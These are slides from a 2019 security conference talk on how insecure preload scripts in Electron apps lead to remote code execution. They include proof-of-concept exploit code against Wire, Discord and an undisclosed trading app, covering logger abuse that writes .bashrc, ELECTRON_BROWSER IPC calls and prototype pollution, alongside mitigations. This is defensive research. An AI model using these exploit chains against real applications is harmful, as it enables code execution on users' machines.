Preloading Insecurity In Your Electron

Luca Carettoni - luca@doyensec.com
Agenda

1. Electron Overview
2. BrowserWindow’s Preload
3. Security Model Recap
4. Subverting Apps via Insecure Preload
5. Conclusions
About me

- 💖 AppSec since 2004
- Doyensec Co-founder
- Former Lead of AppSec (LinkedIn), Director of Security (Addepar), Senior Security Researcher (Matasano), ....
1. Electron Overview
Electron
Many Electron-based Apps

<table>
<thead>
<tr>
<th>Skype</th>
<th>GitHub Desktop</th>
<th>Figma</th>
<th>Flow</th>
<th>GitKraken</th>
<th>Ghost</th>
<th>WebTorrent</th>
<th>1Clipboard</th>
</tr>
</thead>
<tbody>
<tr>
<td>Beaker Browser</td>
<td>Hyper</td>
<td>Kap</td>
<td>Now Desktop</td>
<td>Discord</td>
<td>Wordpress.com</td>
<td>Caret</td>
<td>jibo</td>
</tr>
<tr>
<td>Insomnia</td>
<td>Svgsus</td>
<td>Simplicite</td>
<td>Collectie</td>
<td>Visual Studio Code</td>
<td>Kiteomatic</td>
<td>Slack</td>
<td>Atom</td>
</tr>
</tbody>
</table>

...and 642* more

* Registered on https://electronjs.org/apps
Developers love it

Daniel Tralamazza
@tralamazza

in 40 years nobody will remember how to generate a binary, everything will be an Electron app
12:10 PM - 25 Sep 2018

Felix Rieseberg
@felixrieberg

I put Windows 95 into an Electron app that now runs on macOS, Windows, and Linux. It's a terrible idea that works shockingly well. I'm so sorry.

Go grab it here:
github.com/felixrieberg ...

Joe Fabisevich
@mergesort

Chrome, the original Electron app.
10:23 PM - 24 Sep 2018

1 Retweet 5 Likes
Security folks too!

Ben Sandofsky @sandofsky · 3 Oct 2017
With Electron's first major security vulnerability, it has truly become The New Flash.

Malte Ubi, Immigrant @cramforce · Jul 12
The --app flag on the Chrome binary should be called "--make-this-like-electron-but-without-the-extra-ram-and-security-problems".

Dr. Anton Chuvakin @anton_ch... · 2h
Remember the early 2000s when everybody was hacking IIS? So, here is the question: is there ONE piece of software today that you feel contributes the most to overall insecurity? #random

wendy knox everette @wendyck
Replying to @anton_chuvakin
Electron has to be way up there.
Anatomy of Electron-based Apps

Your App

Electron

Chromium

Node.js
Lifecycle

Main Processes

- package.json
- app.asar

IPC

Renderer Processes

- HTML
- CSS
- JS
- Preload
- BrowserWindow
- BrowserView
- <webview> tag
2. BrowserWindow’s Preload
Preload

- A mechanism to execute code before renderer scripts are loaded
- Has full access to Node.js APIs
- It is usually employed to export functions to window

```javascript
let win
app.on('ready', () => {
  win = new BrowserWindow({
    webPreferences: {
      sandbox: true,
      preload: 'preload.js'
    }
  })
  win.loadURL('http://google.com')
})
```

```javascript
const fs = require('fs')
const {ipcRenderer} = require('electron')

// read a configuration file using the `.fs` module
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))

const defaultWindowOpen = window.open

function customWindowOpen (url, ...args) {
  if (allowedUrls.indexOf(url) === -1) {
    ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
    return null
  }
  return defaultWindowOpen(url, ...args)
}

window.open = customWindowOpen
```
ContextIsolation 1/2

- This flag introduces JavaScript context isolation for preload scripts, as implemented in Chrome Content Scripts.
- Preload scripts still have access to global variables, but cannot make changes (read-only).

```javascript
win = new BrowserWindow({
  webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    preload: 'preload.js'
  }
});
```
ContextIsolation 2/2

- Different JS contexts between renderers and preload scripts
- Different JS contexts between renderers and Electron’s framework code

- It’s optional, and disabled by default
- It’s still experimental
Preload and contextIsolation in action
3. Electron Security Model
Electron is **NOT** a browser

- While it is based on Chromium, certain principles and security mechanisms implemented by modern browsers are not in place

- Modern browsers can enforce numerous security mechanisms to ensure proper isolation

- Electron maintainers have to balance development usability and security
From Browser to Electron - Attack Surface

- **Untrusted content from the web**
  - Limited interaction compared to a browser
    - E.g. Opening a `BrowserWindow` with a remote origin
    - E.g. External protocol handlers

- **Untrusted local resources**
  - Extended attack surface
    - E.g. Loading subtitle files
    - E.g. DOM-based XSS in local files
Black Hat Asia 2019

From Browser to Electron - **Isolation**

- Potential access to Node.js primitives (`nodeIntegration`)
- Experimental (and unpopular) Chrome-like sandbox
- Lack of isolated words by default (`contextIsolation`)

✓ From XSS to RCE
✓ Exploits Reliability
Full chain exploit

1. Take control of the DOM
   - Hijack the navigation flow
   - Cross-Site Scripting
   - Protocol Handlers
   - AuxClick
   - Man-in-The-Middle
   - Drag & Drop

2. Bypass isolation
   - `nodeIntegration` bypasses
   - ...

3. Leveraging Node.js APIs, obtain reliable RCE
Full chain exploit (Step 1)

1. Take control of the DOM
   - Hijack the navigation flow
   - Cross-Site Scripting
   - Protocol Handlers
   - AuxClick
   - Man-in-The-Middle
   - Drag & Drop
Cross-Site Scripting

- Same old class of bugs
- UI is often built on React or Angular
- CSP is often used in popular apps
- Limited interaction between users
  - Mostly self-XSS
  - Unlikely user interaction to trigger injections
3. Leveraging Node.js APIs, obtain reliable RCE

```javascript
const execFile = require('child_process').execFile;
const child = execFile('touch', ['/tmp/doyensec'], (error, stdout, stderr) => {});
```
Full chain exploit (Step 2)

2. Bypass isolation
   - `nodeIntegration` bypasses
   - ...

• This is the interesting part!
  • Framework is more resilient
  • Better default settings
  • Devs are learning about common pitfalls
nodeIntegration bypasses

• We keep track of all Electron vulnerabilities

• April 2015 - February 2019
  12 NodeIntegration Bypass vulnerabilities

• How many more out there?
• Are those vulnerabilities sparse or dense?
Affected Configs
2015 vs 2019

Default BrowserWindow

```javascript
mainWindow = new BrowserWindow({
  width: 800,
  height: 600,
});
mainWindow.loadURL("https://example.com")
```

Experimental BrowserView with either sandbox or nativeWindowOpen

```javascript
mainWindow = new BrowserWindow({
  width: 800,
  height: 800
});
view = new BrowserView({
  webPreferences: {
    nodeIntegration: false,
    sandbox: true
  }
});
mainWindow.setBrowserView(view)
view.setBounds({ width: 800, height: 800 })
view.webContents.loadURL('https://example.com')
```
Exploits 2015 vs 2019

Default BrowserWindow

```javascript
window.open("http://doyensec.com/exploit.html", "", "nodeIntegration=1");
```

Experimental BrowserView with either sandbox or nativeWindowOpen

```javascript
window.open("http://doyensec.com/exploit.html");
```

```html
<!DOCTYPE html>
<html>
<body>
<script>
const execFile = require('child_process').execFile;
const child = execFile('touch', ['/tmp/doyensec'], (error, stdout, stderr) => {});
</script>
</body>
</html>
```
Secure-by-Default Settings (v5)

- Expected ~April 2019

```javascript
new BrowserWindow({ webPreferences })
```

The following `webPreferences` option default values are deprecated in favor of the new defaults listed below.

<table>
<thead>
<tr>
<th>Property</th>
<th>Deprecated Default</th>
<th>New Default</th>
</tr>
</thead>
<tbody>
<tr>
<td>contextIsolation</td>
<td>false</td>
<td>true</td>
</tr>
<tr>
<td>nodeIntegration</td>
<td>true</td>
<td>false</td>
</tr>
<tr>
<td>webviewTag</td>
<td></td>
<td>false</td>
</tr>
</tbody>
</table>

```javascript
nativeWindowOpen
```

Child windows opened with the `nativeWindowOpen` option will always have Node.js integration disabled.
Black Hat Asia 2019

Chromium Upgrades

M80
M70
M60
M50

- Chromium
- Chromium (predicted)
- Electron
- Electron (predicted)

Time:
- May 2017
- June 2017
- July 2017
- Aug 2017
- Sep 2017
- Oct 2017
- Nov 2017
- Dec 2017
- Jan 2018
- Feb 2018
- Mar 2018
- Apr 2018
- May 2018
- Jun 2018
- Jul 2018
- Aug 2018
- Sep 2018
- Oct 2018
- Nov 2018
- Dec 2018
- Jan 2019
- Feb 2019
- Mar 2019
- Apr 2019
- May 2019
- Jun 2019
- Jul 2019
- Aug 2019
- Sep 2019
- Oct 2019
- Nov 2019
- Dec 2019
Survey Results

Using Electronegativity, we have tested **377 OSS Electron applications**

How many applications have `nodeIntegration` disabled?
**301 / ~80%**

Of the number above, how many of those applications have `contextIsolation` enabled?
**76 out of 301 / ~25%**

How many application use Sandbox?
**67 / ~18%**

How many application use an Electron release with known vulnerabilities?
**232 / ~62%**
State of Security - Recap

• Bugs affecting Electron have **higher impact**, however they're **more difficult to trigger** thanks to the limited interactions and exposure
• In mainstream apps, **isolation** is always in place
• In some cases, an attacker can leverage old Electron bugs

If not, what else?
4. Subverting Apps via Insecure Preload

Or keep turning into
preload - A neglected attack surface

1. Preload scripts can reintroduce Node global symbols back to the global scope
2. Preload scripts can introduce functionalities that can be abused
3. Preload scripts can facilitate sandbox bypasses
4. Without context isolation, Preloads can be abused to subvert the application
4.a Exposing Native Node’s APIs
Node’s Buffer

• While it is evident that reintroducing some Node global symbols (e.g. process) to the renderer is dangerous

• It is not obvious for others... such as Buffer

• This was not even clear for the maintainers

Electron 1.6.1 February 21, 2017 (2 years ago)

Bug Fixes
• [SECURITY] Node's Buffer class is no longer available on the window global when Node integration is disabled. #8605
4.b Exposing Dangerous Primitives
Case Study - Wire App 1/3

- “The most secure collaboration platform”
- https://wire.com/
- Secure messaging, file sharing, voice calls and video conferences - E2E encryption
- Isolated webview, with no Node.js primitives
Case Study - Wire App 2/3

- Despite enforcing isolation, `web-view-preload.js` contains:

```javascript
const webViewLogger = new winston.Logger();
webViewLogger.add(winston.transports.File, {
    filename: logFilePath,
    handleExceptions: true,
});
webViewLogger.info(config.NAME, 'Version', config.VERSION);

// webapp uses global winston reference to define log level
global.winston = webViewLogger;
```

- This logger can be invoked from within the isolated renderer, once we can execute JavaScript (e.g. XSS)
1. Depending on whether the XSS affects the *BrowserWindow* or *Webview* tag, we can switch context:

```javascript
window.document.getElementsByTagName("webview")[0].openDevTools();
```

2. Setup the logger formatting, and location

```javascript
function formatme(args) {
  var logMessage = args.message;
  return logMessage;
}

winston.transports.file = (new winston.transports.file.__proto__.constructor({
    dirname: '/home/ikki/',
    level: 'error',
    filename: '.bashrc',
    json: false,
    formatter: formatme
  }));
```

3. Trigger the arbitrary file write

```javascript
winston.error('xcalc &');
```
Wire App RCE

DEMO
Case Study - Discord 1/3

• “It's time to ditch Skype and TeamSpeak”
• https://discordapp.com/
• Popular voice and text chat for gamers
• Single BrowserWindow, with no Node.js primitives
Case Study - Discord 2/3

- Despite enforcing isolation via Electron properties, the application is vulnerable to insecure preload
- app/mainScreenPreload.js

```javascript
var DiscordNative = {
  isRenderer: process.type === 'renderer',

  nativeModules: require('./discord_native/nativeModules'),

//..

//..

process.once('loaded', function () {
  global.DiscordNative = DiscordNative;

//..

//
```

- This code re-introduces in the global scope functions that can be leveraged to bypass the nodeIntegration isolation
Case Study - Discord 3/3

- nativeModules can be used to “require” local modules
- One of them is called execa

```javascript
DiscordNative.nativeModules.requireModule('discord_voice/node_modules/execa', false).shell('calc.exe');
```

- So we can simply use it:

- Credits to our intern Ibram Marzouk
Case Study - (Again) Discord 1/3

- Same preload script
- app/mainScreenPreload.js

```javascript
var DiscordNative = {
    isRenderer: process.type === 'renderer',

    //..
    ipc: require('./discord_native/ipc'),

};

//..
process.once('loaded', function () {
    global.DiscordNative = DiscordNative;

};

- This code was used across the entire application to send messages between renderers and main
Case Study - (Again) Discord 2/3

• It’s just a wrapper to
  `ipcRenderer.send(channel[, arg1][, arg2][, ...])`

• `app/discord_native/ipc.js`

```javascript
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;

function send(event) {
  for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
    args[_key - 1] = arguments[_key];
  }

  ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}

function on(event, callback) {
  ipcRenderer.on(event, callback);
}

module.exports = {
  send: send,
  on: on
};
```
IpcMain and ipcRenderer 1/2

- Synchronous and Asynchronous messages from the renderer(s) to the main process
- When sending a message, the event name is the channel

```javascript
// In main process.
const { ipcMain } = require('electron')
ipcMain.on('asynchronous-message', (event, arg) => {
  console.log(arg) // prints "ping"
  event.sender.send('asynchronous-reply', 'pong')
})

ipcMain.on('synchronous-message', (event, arg) => {
  console.log(arg) // prints "ping"
  event.returnValue = 'pong'
})

// In renderer process (web page).
const { ipcRenderer } = require('electron')
console.log(ipcRenderer.sendSync('synchronous-message', 'ping')) // prints "pong"

ipcRenderer.on('asynchronous-reply', (event, arg) => {
  console.log(arg) // prints "pong"
})
ipcRenderer.send('asynchronous-message', 'ping')
```
IpcMain and ipcRenderer 2/2

• Interestingly, this is also used for native framework invocations

• No separation between app code and the ELECTRON_ internal channel

• /lib/browser/rpc-server.js
Leveraging the Internal Electron IPC

- If you can set arbitrary channels, you can subvert the framework’s security mechanisms
- Example using synchronous IPC:

```javascript
(function () {
  var ipcRenderer = require('electron').ipcRenderer

  var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE", "electron");

  var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");

  var openedExternal = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
      type: 'value',
      value: "file:///Applications/Calculator.app"
    }]);

  return openedExternal;
})();
```
Back to the Discord’s bug
In this case, we cannot obtain a reference of the objects from the function exposed in the window
Do we really need it? Nope

```javascript
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");
for(var i=0;i<50;i++){
  DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
    type: 'value',
    value: "calc.exe"
  }]);
}
```
Discord RCEs
4.c Sandbox bypasses
Sandboxing 1/2

- nodeIntegration is not really enough
  - “Glorified APIs” like `window.open()`

- When sandbox is enabled, the renderer runs inside a native Chromium OS sandbox
  - Full OS-enforced sandbox
    -- `--enable-sandbox`
  - Mixed sandbox
    -- `--enable-mixed-sandbox`, `sandbox: true`
  - Minimal sandbox
    `sandbox: true`
Sandboxing 2/2

- The new `app.enableSandbox()` is equivalent to the argument `--enable-sandbox`

- Compare to Chromium OS sandbox:
  - Same code that Chromium uses for all OSs
  - There’re additional IPC messages that the Electron browser process handles
  - Sandbox is disabled in Mac App Store builds
Resistance is futile

- Even with Sandbox, Preload scripts still have access to:
  - Some Node.js native classes
    Buffer, process, setImmediate and require
  - A few Electron modules, including
    crashReporter, remote, ipcRenderer, ...

- Preload code can leak privileged APIs to untrusted code:

  1. Abuse in preload scripts using `remote`
     ```javascript
     app = require('electron').remote.app
     ```

  2. Abuse in preload scripts using internal Electron IPC messages
     ```javascript
     {ipcRenderer} = require('electron')
     app = ipcRenderer.sendSync('ELECTRON_BROWSER_GET_BUILTIN', 'app')
     ```
4.d Missing context\textit{Isolation}
Native Capabilities, and Your Responsibility

From

⚠️ Under no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the `<webview>` tag and make sure to disable the `nodeIntegration`.

To

⚠️ Under no circumstances should you load and execute remote code with Node.js integration enabled. Instead, use only local files (packaged together with your application) to execute Node.js code. To display remote content, use the `<webview>` tag or `BrowserView`, make sure to disable the `nodeIntegration` and enable `contextIsolation`.
No contextIsolation -> nodeIntegration Bypass

• Even if you disabled nodeIntegration, ContextIsolation is required for isolation

• Initially reported in Electron 1.3 (November 2016). Credits to Masato Kinugawa for this new class of vulnerabilities

• According to the Electron maintainers, this is mitigated by the optional ContextIsolation setting
Prototype Pollution - Preload

- For the purpose of this presentation, this is interesting since we can override preload script code.

- Malicious JavaScript running in the renderer can alter functions in order to return different data, bypass checks, etc.

- Without ContextIsolation, the integrity of preload scripts is not guaranteed.
“Undisclosed Trading App”

- Isolated BrowserView, with no Node.js primitives and sandbox

BrowserWindow
nodeIntegration: false
sandbox: true
Case Study - Undisclosed 2/3

• The application was using the following code in preload

```javascript
var IPCWhitelist = [
    'log-debug',
    'log-info',
    'log-warn',
    'log-error'
];

function sendIPCRequestSync(ipc) {
    var arg = [];
    for (var _i = 1; _i < arguments.length; _i++) {
        arg[_i - 1] = arguments[_i];
    }
    if (!IPCWhitelist.includes(ipc)) {
        throw new Error(ipc);
    }
    return ipcRenderer.sendSync.apply(ipcRenderer, [ipc].concat(arg));
}

window.sendIPCRequestSync = sendIPCRequestSync;
```

• At first glance, it seems reasonable
Case Study - Undisclosed 3/3

- `contextIsolation` is off, hence we can prototype pollute the "includes" function:

```html
<html>
<body>
<script>
Array.prototype.includes = function(){
    return true;
}

var electron = sendIPCRequestSync("ELECTRON_BROWSER_REQUIRE","electron");
var shell = sendIPCRequestSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
var openedExternal = sendIPCRequestSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
    type: 'value',
    value: "file:///Applications/Calculator.app"
}]);
</script>
</body>
```
Prototype Pollution - Electron

- Note that Electron itself is implemented in JavaScript
- Prototype pollution against the internal code is also possible:
  1. Override a built-in method
  2. Trigger the pollute method, and “do something malicious”*
     * Access Node.js primitives by leveraging the method arguments

- We can override the “call” function to get a reference of the Node.js process

- This attack has been extensively described in https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en
Case Study - Mattermost

• “High Trust Messaging for the Enterprise”
  • https://mattermost.com/
  • Multi-device collaboration platform (Private Cloud Slack Alternative)
  • Isolated webview, with no Node.js primitives
Mattermost RCE

DEMO
Making Preload works with ContextIsolation

1. Explicitly use a new V8 vm context for preload

```javascript
const vm = require('vm');
const sandbox = {};
vm.createContext(sandbox); // Contextify the sandbox
const code = 'code here';
vm.runInContext(code, sandbox);
```

Note: It does not mitigate prototype pollution against Electron code

2. Use `postMessage()`

https://gist.github.com/ikkisoft/b19e0bb24826d7670d47cab769a14d3e

3. Use Electron’s Valence

https://github.com/MarshallOfSound/electron-valence
5. Conclusions
Building secure Electron applications is possible, but complicated.

You need to know the framework, follow its evolution, constantly update and adopt defense in depth mechanisms to mitigate its deficiencies.
Black Hat Sound Bytes 2/3

- Security settings and good design can help mitigating vulnerabilities:
  - Do not load remote content
  - Use modern JS frameworks with contextual encoding
  - nodeIntegration: false / sandbox: true
  - contextIsolation: true

- Carefully review your preload script
  - Do not expose native Node.js objects
  - Do not expose dangerous primitives
  - Do not allow arbitrary IPC messages
Black Hat Sound Bytes 3/3

- You can check these issues, and more using Electronegativity
  https://github.com/doyensec/electronegativity
Thanks!

• Feel free to contact me: luca@doyensec.com @lucacarettoni

• Slides and white-papers will be available on our research page: https://www.doyensec.com/research.html